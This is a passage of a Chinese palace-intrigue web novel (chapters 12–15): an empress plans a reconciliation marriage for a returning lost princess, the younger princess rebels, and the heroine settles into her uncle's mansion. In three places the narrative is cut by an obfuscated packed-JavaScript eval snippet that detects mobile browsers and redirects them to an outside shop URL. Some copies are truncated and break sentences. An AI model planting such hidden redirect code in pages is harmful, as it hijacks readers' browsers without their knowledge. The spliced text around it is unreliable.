灵曲点头:“陛下掌军多年,对后宫也是奖惩分明,有子嫔妃无论出身贵贱,全都身居高位。” “可为何这排行中间有些跳过了呢?” “殿下,那是已满三岁而夭折的皇嗣。” 山照惊讶张口:“这又是什么说法?那未满三岁的呢?” 灵曲虽然不过十多岁,但自幼入宫,准确的来说,她是前朝的宫女。因此她早就听闻过这位大公主,那时宫中都以为她已经薨了,陛下本来下令说不满六岁者,不进入排行。 妃嫔娘娘们如何反应倒先不提,承恩公可是立时便进了宫。也不知道如何跟陛下分说,总之那日宫门落锁之前皇家玉蝶上便留下了大公主的名字,此后皇嗣也是满了三岁便进入排行。 灵曲脑海里想了这许多,却不过是一瞬间的事情,她表情未变:“殿下,小儿夭折是常有的事情。陛下说,未满三岁的幼儿也不知能不能养住,不若养住再序齿。所以未满三岁而夭折的皇嗣便没有序齿。” “连名字也不曾留下吗?” “多半只有娘娘们取的乳名,小时候奴们只是称呼小皇子小公主,直到年满三岁陛下赐名序齿。”说到此处,灵曲看了眼山照,其实宫中刚出生便有名字的只有陛下前三个孩子罢了。 山照心情复杂,她预想过皇宫里是复杂的一家人,但人情淡薄到这样的程度还是超乎了她的想象。 民间有传言,若是小孩未曾有姓名便去世了,转世投胎是要做畜生的。 她对未曾谋面的亲爹有了些不忿,取个名字又废多少事情呢?为何要叫一个小孩子无名无姓的投胎去,那孩子的娘亲心里该多痛啊…… 山照心情又不太好了,她也不知道说什么好。按理说,那些妃嫔、皇子、公主,都是陌生人,但她忍不住有些兔死狐悲之感。 所以其实,皇帝根本也不在乎有几个孩子,他多的是。 山照忽然贯通起来,为何赵仪在说如何找到她的时候,没有一个字提到过陛下做了什么。 原来,他是不在乎。 12. 第 12 章 出生在他眼前的孩子去世了,因他轻飘飘一句未满三岁,就连一个名字也不能留下。 她这样一个没长在他眼前的,他又会如何对待她呢?不能指望皇帝对她有什么感情的。 她视线看向楼下,那有走来的一对父女,父亲面孔干瘦,穿着打满补丁的衣物,怀中抱着的女孩手里却有一串糖葫芦,她吃下一颗糖葫芦满脸幸福笑容,那父亲也含笑抱着她。 女孩将一串糖葫芦递到父亲嘴边,那父亲摇头不吃,女孩嘴唇蠕动,似乎是说了什么,那父亲才轻轻咬了一口,两人又双双笑起来,从山照视线中走过了。 这才是山照眼里的父慈子孝。 她陷入沉思。 ** 上京的秋是颇有些冷冽的,宫里的太监宫女们早早的便穿上了绒衣,若到了下雪的时候,这绒衣不仅要加厚外面还得加上大大的皮毛斗篷才算保暖。 御前太监刘喜儿捧着放着密信的朱盘一路从勤政殿送到凤仪宫,他身后跟着两个小太监是他的徒弟。 凤仪宫是皇后的寝殿,刘喜儿是常来常往的。他的主职便是宣读圣旨、送呈御批,后宫诸事虽由皇后做主,但陛下常有批示。 殿前女官进去通传,不一会皇后的贴身宫女朱翠就出来了。 她年约二十多岁,已经到了要外放出宫的年纪,但她为伺-候皇后自愿放弃出宫,这事在宫中也很是暗中流传了一段时间。 “喜儿公公,看您这一头汗,跟我来茶室喝点茶水吧。”朱翠语气客气极了,还解释了句:“娘娘昨日吹了风,有些不适,还在梳洗呢。” 按理说她现在是皇后宫中牌面上的人物,比刘喜儿地位是要高些地,但御前的太监不能简单以品级划分。 人物虽小,却能通天。 再说太监是残缺的人物,心眼小。这人啊,哪有不落难的时候,宫中奴婢太监也有不少是因为得罪人太多,等稍失宠就悄没声息就没了的。 刘喜儿跟着她进了屋,被屋内茶香一浸,他整个人都激灵了,终于是缓了口气。 他是急步过来的,宫中虽然忌讳跑跳,可给贵人们办事手里脚上得麻利着,因而便出了一身汗。 他想着:便是陛下不急于一时,他刘喜儿早些回去,没准陛下会问一句、多关注一分呢? 却不料皇后娘娘还未起身,这差事倒如何也快不起来了。想到此处,他也不急,脸上凑出一个笑:“朱翠姐姐赏我一盘茶点呗,我这两个徒弟正在长身体,可能吃了。” 朱翠笑笑:“哟,喜儿公公说这话倒是让奴不敢受了。等着吧,昨儿娘娘倒是有一盘子赏人的。不过……” 她看向刘喜儿手里的托盘,上面信件上明晃晃写着陛下亲启。 “这字迹倒是有几分熟悉……喜儿公公,这是?” 虽陛下已经阅过,不是什么军国机密,算是陛下的家事,但太监口风紧可太重要了,他笑笑没说话,只说:“这事,还得等皇后娘娘示下。” 朱翠便也没多问,只自己暗自寻思,好熟悉的字。那字并非馆阁体,由此可见不是朝中大臣,却能呈递到御前,倒可能是某位皇亲,只是……为何她总觉得这么熟悉? 皇后比昭明帝小上整整五岁,现下依旧十分年轻。她穿着明黄-色的常服,头戴翠冠,耳饰、手饰、头饰都是极为简单的款式,整个人看起来便是落落大方,不似寻常宫妃妖娆华丽。 朱翠进门,见梳头宫女还在动作,便只跟大宫女颜宁耳语:“喜儿公公来了,我将他在茶房安置下。他捧着朱盘,似乎是有一封递给陛下的信件,陛下让呈给娘娘。” 颜宁点点头:“既然是陛下圣意,那就见见。娘娘这里再有两刻钟就好了,你去安排一下。” 朱翠退下,颜宁走到皇后身前,又将刚才那番说给皇后。 皇后心头一一翻过最近的事情,心里已经有了几分猜测:“便按你说的安排吧。” 太监面见皇后自然没有宫妃觐见那般复杂,行过大礼,颜宁便上前端过刘喜儿手上的朱盘。 皇后拿到信件,便认出这是承恩公的字,更确定了心中猜测。 她翻开,如她所料,承恩公确实是找寻到了正主。那孩子,果真回来了。 如今已经在进京路上,不日便会归京。 “陛下有何安排?” 刘喜儿有一把细嗓,雌雄莫辨:“回娘娘的话,陛下说这是喜事。叫娘娘辛苦一番,为大公主修整一处宫殿,再筹备个归家宴。” “本宫知道了,定会尽心筹备。” 太监传旨代表的是皇帝,皇后回的自然也不是太监,而是皇帝。 刘喜儿挤出个谄媚的笑:“娘娘,那喜儿就回勤政殿回话了。” 江皇后自然不会没事留他,点点头。朱翠便拿了赏钱送人出门。 待人都走尽,皇后又拿起那封信件,表情复杂。大宫女颜宁是皇后的陪嫁,自然知道往事,她安慰道:“娘娘,这都是过去的事情了。” “陛下把大公主回宫的一应琐事都托付给娘娘,不正说明这事过去了吗?陛下,终究还是信任娘娘的……” 江皇后却没有那般天真,这事儿在她心里闷了好多年,越嚼越苦,没想到竟还有等个结果的一天。 “我是皇后,这不交给我办,又叫哪位来呢?三妃都有皇子,个个狼子野心,陛下还怕呢……” 皇后江云心很了解皇帝,这些年来,从大公主失踪他就冷落她,他不肯相信她只是无心之失,只是苦于没有证据不好发落罢了。 她每日都悬着一颗心,她知道皇帝是要等承恩公找到答案。 若她是一个人倒也罢了,可她上有朝堂的父兄,下有亲生的二公主。谁知道陛下要怎么办呢,她只能祈祷,但愿这十多年的冷落平息了些许怒火。 “娘娘……”颜宁却也不知道还能说什么。自家人知道自家事,宫内众人都知,陛下虽不十分宠爱皇后,可每每初一十五都来凤仪宫,算是给足皇后尊重。在朝堂之上,众臣也说帝后关系和睦、举案齐眉。 可是,皇后娘娘自大公主失踪之后,就再也未曾被幸过,算起来也是十三年了…… 颜宁未曾嫁过人,却也知男女之间得要长长久久地相处才有感情,陛下多年未曾与皇后交心,娘娘心里该多苦啊! 新朝刚立,后宫初建,这八月满满的彤史里没有一笔是皇后的。想起敬事房太监每月送彤史来时那意有所指的眼神,颜宁心中也为皇后痛。 若说是嫌弃娘娘人老珠黄了,可是连今年三十有一的淑妃都有三笔,皇后可比她小三岁呢! 只是这天下是皇帝的天下,后宫也是皇帝的后宫,皇后贵为国母,却也不能违逆陛下。 皇后心里倒比侍女还平静些,初几年的时候她还不忿过,不过一时之失,怎么就至于让她青春年华独守空房了呢? 后来几年她也算是看清楚了,其实是非功过本来也没个标准,陛下觉得她怀有恶意,她便是怀有恶意,不需要证据。 大公主失踪是事实,承恩公多年来一直死咬这件事,皇后也无话可说,她只能安慰自己:反正她是皇后,没有宠爱也能活。 “待会叫内官监带上宫中的舆图来吧,先给大公主找上几处备选,请陛下阅看后修缮出来。也不知道一月内能不能像个样子,别又惹了承恩公。” 颜宁想起这事便不忿:“哪有先皇后的娘家做承恩公,江家却只能有个承恩侯的爵位?陛下的心,实在是太偏了……” 皇后却只摇头,帐不是这样算的:“赵家举家资助了陛下起事,本也值得一个国公之位,只他却偏偏旁的不都要,只是一味要替先皇后守着这个名分。陛下,终究是有几分愧疚的。” 颜宁听不懂:“娘娘,可承恩公占着这个名分又能怎么呢?先皇后没了这许多年了,也不能给赵家再生个皇子出来!” 皇后垂下眼,整理了一下袖口:“手里没棋,也可以下棋的。” 说完这句话,皇后便不再想聊这个话题,今日已是说得够多了。 她叫颜宁捧来每日要阅看处理的杂务,多不过是什么采买账务、宫妃分例、例行赏赐的事儿。 这些杂务说重要也重要,说不重要也就那样。做得好,便是无功无过。做得不好,便是皇后无能。 皇后无奈笑笑,却也不能埋怨陛下,他既是夫又是君,永远都是对的。反正只要二公主平安嫁了,她这辈子也就算没有什么遗憾了。 想到婚嫁之事,皇后忽然想到一个解局的可能,她语气微微上扬:“颜宁,二哥家的咏哥儿是否还未婚配?” 颜宁对皇后娘家自然是了如指掌,没有半分犹豫答道:“五少爷确实还未成婚,但二-奶奶早半年前就在相看了,却不知有没有中意的……” 皇后的脊背似乎更直了些:“既然没有消息便是没有成的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651783|188238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜宁这会回过味儿来;“娘娘是想一笑泯恩仇?” 皇后越想越觉得合适:“咏哥儿长得好,人也机敏,肯定不委屈大公主,多少能弥补些。” 解局的办法就在题面上,只要哄得大公主原谅。陛下和承恩公还能有什么话说呢? “等大公主回宫那日,便叫咏哥儿来拜见我吧……” 颜宁自然不会扫皇后的性,她逗趣道:“娘娘这可是要做一桩大媒!” 皇后便也露出一个久违的真心实意的笑容,像一株垂死的花忽然寻到了水源,死局中泛出活意。 殿外传来一阵悦耳的铃声,皇后神色微微变了,眼中带上慈爱,她知道是二公主来了,宫中再没哪个公主比她的熙阳更活泼爱闹。 “母后,你看我这身怎么样?等去秋狝的时候穿好不好?” 江皇后眼见着女儿乳燕投林般的奔到自己面前,身上穿着一身红色窄袖骑装,皮靴上饰着许多小银铃,方才那铃声便是从这发出的。 早在立秋那日,昭明帝便告知宫内待到中秋后,便要沿袭前朝旧俗带着群臣后妃到白露山行宫去狩猎。 二公主李熙阳自然是早早开始期待,这离中秋还有十天,她便已经做好三套骑装上了身,只身上这套是她最喜欢的,只是穿上跟皇后撒撒娇罢了。 江皇后自然连声说好,李熙阳生得明艳,正是适合穿红。 李熙阳今年十三岁,虽距着及笄之日还有将近两年,但也要早做打算。她看着女儿的脸,心想:秋狝的适合也正好让熙阳露个面。 “母后,我听说了一件事。”李熙阳低声问皇后:“是不是大公主真的找回来了?” 皇后从账册中抽离,这才正经抬起头,她眉头微皱:“谁告诉你的?” “哎呀,母后这不重要,你就告诉我是真的吗?” 皇后紧盯着二公主,直到她神色渐渐慌乱。江皇后把李熙阳看得跟眼珠子似的,她很是不悦,这才传到凤仪宫的消息,却不知在何处竟然已经传到二公主的耳中了? 李熙阳虽然是个宫中小霸王,但还是有些怕亲娘,见皇后不打算放过这一茬,只好从实招来:“其实是惠如猜的,她哥哥不是入了缇灵卫吗?跟她说前几日有信件来,说是跟承恩公去的那一队要回来了。她颇懂些地理,跟我说若不是有消息实不该耽误这么久的。” “她倒是聪明。”皇后虽是这般夸赞了一句,但脸上并未有什么表情,显然并不这样想。 “那这事确实是真的了?”二公主连忙追问。 皇后点头:“不过不要出去乱说,你父皇还没有下旨呢,只是叫我安排宫殿。” “那母后你要把她安排得离我远远的。” 皇后是知道二公主自小对这位姐姐有些意见的,因为她自小觉得她才是昭明帝的第一个孩子,可等到知事的年纪之后,她才发现她竟然不是那个第一。 可皇后以为这种孩子气的介意早已随着她日渐长大消弭,可分明她还记得。她语气严厉起来:“什么她啊你的,你记得,等大公主回宫之后,乖乖的叫大姐姐。” 李熙阳猛的站起身,满脸不忿:“我不要!”便要夺门而出。 江皇后却怕李熙阳这样的脾气在大公主回宫之日闹出事情,那可就大大不妙,有些失态的连忙呼唤门外婢女:“关门,关门。不许二公主出去。” 李熙阳被拦了回来,她故意重重坐在椅子上,靴子上的铃铛一阵乱响。 江皇后见李熙阳毫不知晓忍耐的这番行为,其实是有些失望的。也有些后悔自小过于放纵她,导致她从来天不怕地不怕。 皇后也不曾告知她那些往事。李熙阳从小以为父亲是很宠爱她的,因为他从不斥责她。 “李熙阳,你听好!大公主不日回宫是真的,而且你必须要拿出做妹妹的态度来。过几天你准备一份礼物拿来给我看,必须得用心!” 李熙阳自然不肯:“母后,我不要。” “好,你不准备便罢了。” 李熙阳一句:母后就知道你对我好,还没来得及说出口,皇后接下来的一句便如同惊雷一般炸响:“你便在好好在侧殿呆着,直到你想清楚了再出来。” “什么?母后,你居然禁我足!”李熙阳不顾体面大喊,显然是已经气急了。 皇后也被她这样扶不上墙的表现气的扶额,只好叫宫女来:“把二公主带回房间,没我命令,别叫她出来了。” 13. 第 13 章 赵仪出门的时候预备了两辆马车,一辆他自己坐,一辆是预备好给山照坐的。 不过,还远未到上京前,他便又只能骑马出行了。 原因说来也好笑。他本来是心血来潮伪装成侍卫队小队长,自然就没那个资格坐马车,于是就骑马跑了一路。回途路上他身份暴露了,就又坦然坐上马车。 只是他沿路给山照买的衣服饰品、小玩意实在是太多了。搞得缇灵卫每人的马上都放了两个行李袋都不够,只能往马车上放,很快便也把马车堆满了。 不过赵仪对这件事情倒是颇为自豪,他已然完全沉浸在自己要做个好舅舅的世界中。好似车装的越满,他的心意就更厚重。 山照掀开车帘,她有了这一路的经历和见识,这会已经不再为宽阔平整的官道感到惊讶了。她只是看热闹般瞧着赵仪骑马的身影,越看越觉得好笑,心头又觉得暖暖的。 不管赵仪是怎么想的,山照确实收到了比过往的所有日子加起来还更多的礼物,而且不分贵贱,这里面有丝绸金器这样昂贵物品,也有泥偶木雕草编这些小儿玩具。 山照从这些礼物里面感受到了,舅舅说的曾经特别期待她出生的话应该是真的。这让她既觉得温暖,又有一点无所适从,毕竟说起来他们相处的时间还是太短了,她甚至有时候会对赵仪的热情感到一丝愧疚,愧疚于她无法产生对等的付出。 更让山照觉得动容的事情是,赵仪同意进京后由他来安排好杨力行,并且他会给他们创造见面的机会。 “舅舅不懂这个年纪的小女孩在想什么,不过我尽量不让殿下有遗憾。若他果真是个可造之才,那还有一线机会。” 不过赵仪虽然是这样勉强答应了,脸上神色却依旧不好看:“可殿下,你要做好心理准备。如果不成,你该嫁人就嫁人,千万不能跟陛下硬着来。” 山照想到这里露出一个苦笑,她如今也茫然着,不知如何是好。 好在,上京就在眼前了。无论如何,她不会做逃兵。从前是表哥保护她,现在她拥有的更多了,该她来保护表哥。 上京城墙巍峨,远远看去宛如山一般高大。往近处一看,足有四五人高,那城墙上有深浅不一的凹凸,青苔、爬山虎点缀了些许颜色,无声的述说着多年风霜。 也不知赵仪他们跟城门守卫如何说的,本来门前是长蛇一般的队伍,山照他们却插队先进了城。 山照本以为他们是直接去皇宫,却没想到车辆停住的地方却是陌生的深宅大院,上方悬挂着‘承恩公府’的牌匾。 赵仪下马,公府管家张伯便赶紧牵过缰绳,又给身后整齐排列的小厮丫鬟们使了个眼色,众人齐声道:“恭迎国公爷回府。” 赵仪早前便送信回来了,因此承恩公府内上下都有准备。赵仪也不惊讶管家会带人前来迎接,只不咸不淡补充:“都来拜见一下大公主。” 山照这会才从马车里下来,她身上的衣裳饰品已经在这一路上全换了,如今她头上带着南海珍珠头面,身穿茜色齐胸衫裙,脚上是柔软的小羊皮靴,已是一番贵人模样。 仆从们头也不敢抬,又齐齐跪了下去:“奴等拜见大公主,公主金安。” 山照轻声道:“起来吧。” 赵仪刚开始还客气了下,让山照在前走,山照笑着婉拒:“舅舅带路吧,不讲究这许多。”而后赵仪也不再问,就一路走到正厅,山照随在赵仪身后。 赵仪想到待会还有许多事情要安排,便直接道:“管家把人带过来吧,先安置好公主,我马上要进宫。” 山照看向赵仪,虽没问出口,但她侧头的动作分明是带着些疑惑的。 “我待会要进宫去见陛下,恳请陛下能允你在我府中待上十天半个月,这对殿下来说有好无坏。” 管家带着一个梳着单髻的妇人进来,介绍道:“这是牡丹阁的管事,刘妈妈。”刘妈妈恭敬行了个叉手礼:“公主金安。殿下在府内有何需求都可以告诉奴。” 赵仪确实有些焦急,一杯茶还未饮完。他看看天色,接着便有些歉意的说:“殿下,天色不早了,臣先进宫看看陛下怎么说,明日再将这些事情告诉殿下。” “管家已经安排好住所奴仆一应事宜,殿下可以先休息了。”他起身看了眼灵曲:“我让侍女打开库房选了些东西,挑选一些合适的妆扮好殿下,别失了礼节。” 灵曲应是。 “舅舅慢走。” 赵仪点头示意,而后跟管家出了门,两人一边走一边还商议着什么,山照切切实实感受到了他的忙碌。 正厅里只剩刘妈妈和两个侍女。 山照默默观察了一番这个妆扮简单、衣着利落的中年妇人,她开口:“刘妈妈,不如带我们先去落脚的地方吧。” 虽然是在陌生的地方,山照言行举止却自然而然有了股此地主人的风度。只是她自己并未发觉,她只想着连日奔波也是累了,想找个地方舒舒服服的歪躺一会。 刘妈妈恭谨地在前带路,很快便到了修缮布置好的牡丹阁前。 牡丹阁名字虽有些艳俗,但其实是个再雅致不过的地方。它是个宝塔形状的小楼,共有层,一层是待客的地方,二层是住处。 阁楼周围遍布奇花异草、假山怪石,甚至还有一处幽静小潭,依山傍水的。再看内里,布置雅静、器具如新,山照走在里面,意识到这都不是一朝一夕能够整理出来的。 不过一路走来,她心中有些疑惑,似乎未曾见过旁的女眷,舅舅这个年纪倒不像。她不便在这些第一次见面的下人面前提起,只暗暗记下想着待会私下问问灵曲,她应该知道。 刘妈妈很是体贴带山照在里里外外转了一圈:“殿下可觉得哪里还有不足之处?” 山照摇头,脸上有些笑意:“已是极好。” 实际上这话已经山照克制又克制了,她从未住过这样好的房子。 她虽不识货,不认得这些器具布置都是什么,又值多少钱。但她注意到这屋内光亮如无窗,又看糊窗的纱都格外细腻透光,换做从前,她上身的衣料也没这好。 能在这样细枝末节的地方都如此豪奢,更何况面上露出来给人看的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“对了,叫刘妈妈将国公爷说的饰品先整理出来吧。殿下用完膳,肯定有兴趣看看。” 丁香点头。 灵曲忽然又想起,便补充道:“若库房里有适宜的布料也一并拿来。” 丁香点头,转身出门了。 门口其余几人都在,除了已经被安排着做事的,都纷纷凑过来问:“丁香,殿下醒了吗?” 丁香小声道:“还没呢,屋里那位安排了好些事情,我得先去找刘妈妈了。” “那是宫里出来的吧?看起来跟我们差不多年纪,那气派可不一般……” 丁香也不知:“结子,你跟膳房熟。跟膳房说,水烧起来,预备着炖的蒸的。等殿下醒来,就要立时要菜上桌。” 结子赶紧回句:“好嘞,我再去要几盘糕点,摆着也好看。” 其余几人也不耽误她事,忙跟她说:“刘妈妈去库房了。” 丁香想着待会要拿的东西有点多,便叫上其余人一起,不一会,人人都捧着满满当当的物件回了牡丹阁。 万事俱备,只待这屋中的主人醒来了…… 14. 第 14 章 山照是被阵阵饭菜香气唤醒的,她揉揉眼睛,一睁眼看天光正亮便意识到睡过头了。 灵曲正在她侧边的小塌上绣着什么,山照声音有些干哑:“灵曲,这会什么时辰了?” “殿下,刚过寅时。” “原来都寅时了,怎么午时没叫我?”山照捂着腹部,怪不得自己一清醒就感觉饥肠辘辘,原真是饿了许久。 另一个随侍的婢女彩蝶听到公主这么问,神色便有些紧张。 灵曲解释:“殿下睡得正好,想是这些日子舟车劳顿没休息好的缘故。奴想着,殿下饿了就会自然醒来,怎好叫醒呢?” 山照没怪罪灵曲的意思,不过她还是强调了下:“这样的事情倒不要紧,若是有要事,千万要叫醒我。” 山照理解婢女们害怕自己会有起床气:“别担心,要是有正事随时可以叫我,我不会生气的。” 灵曲应是,而后询问道:“殿下是用些糕点,还是便用膳?” 山照见面前小桌上已有两个菜,便道:“吃饭菜吧,只少吃些。晚上叫膳晚一些,明天也就正常了。” 彩蝶见灵曲看她,便将桌上两个菜端走了,并叫其他婢女去膳房提菜。 山照知道内室的小桌不是正经吃饭的地方,就叫灵曲给她简单梳洗一番,便到了膳厅。 婢女们早就准备着,山照落座的时候桌上已经有了八个菜。 她皱眉,看向灵曲:“怎么这样多?” 路上跟赵仪吃饭的时候,山照就发现了,他们吃饭是从来吃不完的。不独赵仪,那些侍卫们住店或者打尖的时候,点的菜就从来没吃完过。 他们管这叫‘留余食’,名字风雅,但山照颇为不喜,她虽没受过饿,可李家也不甚富裕,自小长大被灌输的观念就是不可铺张浪费。 灵曲是知道山照不爱浪费的,但公主若吃四个菜,臣子们又怎敢吃六个呢?公主迟早得习惯…… 她不好这样直说,只温声解释:“殿下,您的份例是十二个菜。膳房也是做了的,只是有些菜热久了味道便不好,便没叫上来。” “可我哪里吃得了这么多?” “殿下,余下的赏给奴们就好。虽这些对殿下来说不过日常分例,奴们可轻易吃不到这么好的东西呢!” 山照疑惑的看向周围的婢女,众婢女们纷纷点头支持灵曲的说法。 她这才勉强接受,只是被这么多人看着吃饭,她有些别扭:“该干什么干什么吧,这么多人我不习惯。” 灵曲随手点了两个侍女:“这两个留下,其余的便出去吧。” 人少了许多,山照便自在了些,才用心品尝起这些饭食来。许是饿了的缘故,许是国公府的厨子确实技艺精湛,山照本只想随意吃点,却没控制住,吃了个满饱。 她漱过口,就让侍女们把她没动的四个菜端下去分了。 灵曲知道公主心善,只是她感觉完成国公爷的任务便更难了。殿下心中着实是不太有尊卑之念,在宫中可是会吃亏的。 “殿下不必为了奴们拘谨,这国公府就跟殿下的家一样,在家里要吃什么实在不必顾虑别人的。” 山照没想那么多,只是觉得把自己吃过的菜给别人有点别扭。她虽然接受了自己的身份,却做不到那么心安理得把奴婢们当下等人。 不过便是山照是个大方性子,也耐不住进府之后灵曲时不时便要提点她一番,仿佛她事事不妥。心里这般想,面上就露出几分不耐。 灵曲一直观察着山照的脸色,见她不似平常一笑而过。便知道提点的次数有些过了,连忙换个话题:“殿下若是有兴趣,便跟奴一起来看看国公爷库房中拿出的钗环等。这可是让奴挑花了眼,看每个都觉得殿下正缺这一样呢。” 山照被逗笑了:“我倒是有那么缺么?” 但她确实也找不到什么事情做:“舅舅的肯定都是好东西,反正也没事,就一起看看吧。” 待坐到正厅,灵曲便吩咐侍女们把东西带过来,婢女们好不容易找到在主子面前露面的机会,一个个便一一捧着个盒子进来了,像是献宝一般。 山照满脸兴色:“打开看看呢?” 灵曲便叫她们依次上前,打开盒子给山照看。第一个盒子打开便是三个不同样式的钗环,山照看不太明白,她看向灵曲。 一路上山照没见过不太懂的事情可太多了,但无论她问的问题有多么简单,灵曲会不厌其烦的解释,山照便习惯了事事问下灵曲。 灵曲便为她依次解释,她先拿起第一样簪子:“殿下请看,这是翠鸟取背上羽毛制成的点翠簪子。” 山照一眼便注意到了最上方的蓝色花卉样式的饰品,那颜色实在是鲜亮到奇异,她心底还暗自寻思过这是什么材质才能做出的。 “原来是鸟的羽毛吗?怪不得颜色这样鲜亮夺目,只是我倒是没有见过蓝色的鸟儿呢!” “殿下若是有兴趣,明儿让管家寻一寻,许是能找到活的。”捧盒的侍女虽然殷勤,但又不过分讨好,很有分寸。 灵曲看她一眼,接着拿出第二样:“这是翡翠钗,工艺倒没什么说的,取的不过是美玉美石的天然意趣。只是这玉石种类繁多,殿下需得一些时间才能分清。” 第三样是金凤尾錾刻钗。金子在皇家不算稀奇,只是这錾刻工艺向来工艺繁复,器具花纹又格外精致美丽,格外被女眷们钟爱。 接着又一样样捧上耳饰、戒指、手镯、头冠等,一样比一样精致,看得山照眼花缭乱。 待看到最后一样,山照感觉到自己已经忘记灵曲一开始讲得什么了,她感觉自己并不是在挑选饰品,而是上了一门首饰材质、形制、工艺鉴赏课。 东西自然是没有选出来的,她看这些东西样样都好。 除了这些饰品,婢女们又捧来十几匹流光溢彩的布匹,山照对着灵曲连连摇头:“缓缓吧,这会子真记不住了!” 灵曲只好笑笑,让侍女暂且拿了几副成套的放在公主的妆台上,便叫人上茶。 山照也品不来什么茶,只是口渴一饮而尽。虽然并不符合礼仪,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵仪提前跟山照说好了,杨力行不可能跟着山照入宫,便在承恩公府做一侍卫。赵仪会尽力培养一下他,看能不能有些转机。这世上,有才能的人总是会被高看一眼的。 山照虽简单跟表哥说了这件事情,但她想着若是着急她马上就要进宫了,回想起离家到上京这段路程,竟是她最冷落表哥的一段时间。 她这会得空了,便很想去寻表哥。她对表哥并未是片刻都离不得,从前在家时,表哥也时常要到城里做工的,聚少离多是常事,山照早就习惯了。 可这情况又不一样,山照几乎是日日能看见表哥,却跟他说不上几句话,舅舅说他们的关系还是只能悄悄的,不要被其他人看见。 每当杨力行站在她身后默默看着她的时候,她就有一瞬间后悔回京,她觉得愧疚,也觉得无力。 灵曲因着山照的缘故,对杨力行是颇为关心的,自然知道他在何处。只是,她顾虑着承恩公的态度,灵曲虽想做山照眼前得意人,却也畏惧承恩公。 “殿下,国公爷走前并未许可这事……” “你到底是听舅舅的还是我的?”山照看向她。 15. 第 15 章 山照语气虽不严厉,但字句中透出的含义可太丰富了。 她回想起宫中的规矩,浑身一激灵,倏然跪下,语气着急:“奴不是这个意思,奴自然是听殿下的。” 山照本只想凶一凶她,却没想到她这样惶恐。被她这个举动吓了一跳,反射性退后一步,喊道:“别跪啊,我没对你生气。” 山照拧着眉,脸上带着几分嗔怒、几分无奈:“我知道你是害怕舅舅罚你。” “舅舅真是的,明明答应了,却还是扭扭捏捏的。”山照也不知道怎么评价赵仪,明明他都答应了,却又有些反复无常,总是给她敲退堂鼓。 其实她很想说就算是现在开始不给他们见面的机会她也不会就这样忘记表哥的。十多年的青梅竹马,若是就这样散了,岂不是太小瞧了她? 山照扶起灵曲:“你别害怕,我理解的。你要做样子应付舅舅便做,只是也不要阻拦我。好灵曲,告诉我表哥在哪里吧?” 她眨巴双眼,眼神带着些许哀求,倒没有去硬逼她。 “殿下得承诺奴,不能私下去见杨公子,每次都得带着奴。不然……奴不敢说。”灵曲好一番纠结,但承恩公的威名还是让她畏惧。殿下善良,惩罚人也不至于动手,可承恩公就不一定了。 山照本也没法自己一个人,她连国公府几个门往哪开都说不清楚,而且这么多婢女天天跟着,她能自己跑哪里去? 于是山照很轻松的便答应了:“带我去吧,我保证晚饭前就一定回来。” 灵曲放下心来,这才想起一件事情:“殿下,侍女们还没改名呢?我这会叫她们进来吧,也方便殿下使唤。” “我就住这么几天,不必叫她们改名了。告诉我,她们叫什么名字就行。” 灵曲只好随她,一一介绍过人之后,便点了两个最近的侍女,叫她们跟着一起出去。 杨力行虽然是做侍卫的,但赵仪也并没有真的把他塞进下人房。这里面有几分是他不愿意有几分是怕山照找他麻烦便不太好说。 总之,杨力行是安排在外院的客房,环境也是极好的,一人独占一间大房。 灵曲为山照戴上帷帽:“外院客房甚大,也有国公爷的门客之流。为免这些人冲撞到殿下,殿下出门的时候最好是戴上。” 山照今日穿的是浅粉色,灵曲选的帷帽便为更适宜的白色,边沿垂着粉色珍珠。山照戴上看了下,虽然帷帽用的是半透明的薄纱,但还是有些影响视线。 她看向灵曲,觉得不太舒服,有些不想戴。 灵曲却摇摇头:“殿下进了杨公子的房间再取吧,就出了内院那一段路。” 山照便也同意了,说起来她曾经也见过千金小姐们戴帷帽,那会只是觉得新奇,又有些觉得好看。 帷帽并不是统一样式,有些还会在上绘画疑惑是绣花,似山照这顶以珍珠为饰的已算淡雅。 她却没有想过,这样的帽子是挡住了旁人好奇的目光,但也挡住了自己向外探寻的视线。 山照出了内院,便带着帷帽,灵曲在一旁扶着她。山照看不清楚景色,只隐约能分辨出前方是直路还是转角。 这种不踏实的安全感,让她紧紧抓住灵曲袖口的同时,不自觉放缓了脚步,无师自通学会了莲步轻移。 当个淑女不容易啊,山照腹诽。 还没走到杨力行的院子,便听见里面有清脆的敲击声,但不是有节奏的,更像是有什么东西在相互击打。 那敲击声是两柄交战中的木剑发出来的,一人竖劈,另一人便横击;一人直刺,另一人便躲闪从侧边迎击。 两人虽然是你来我往,但一人猛攻一人却一直在被动招架,眼见是颓势。只是被动招架那人,却回回都安稳接住了,这才一时半会没有分出胜负。 陈於白本是专心跟杨力行对战,却一个转身余光瞟到身后来了人,且是一个头戴帷帽的女人。他快速退后几步,对杨力行喊到:“有人来了。” 杨力行这才撤了力,回头看了一眼,脸上带着疑惑。他没穿外袍,只穿了里衣,脖颈处却已经被汗水浸-湿,额角有汗水随着动作慢慢淌下来,胸膛随着呼吸剧烈起伏,更显得雄伟。 另一旁的陈於白要好些,但他皮肤薄,耳后和脖子那段已经绯-红一片。 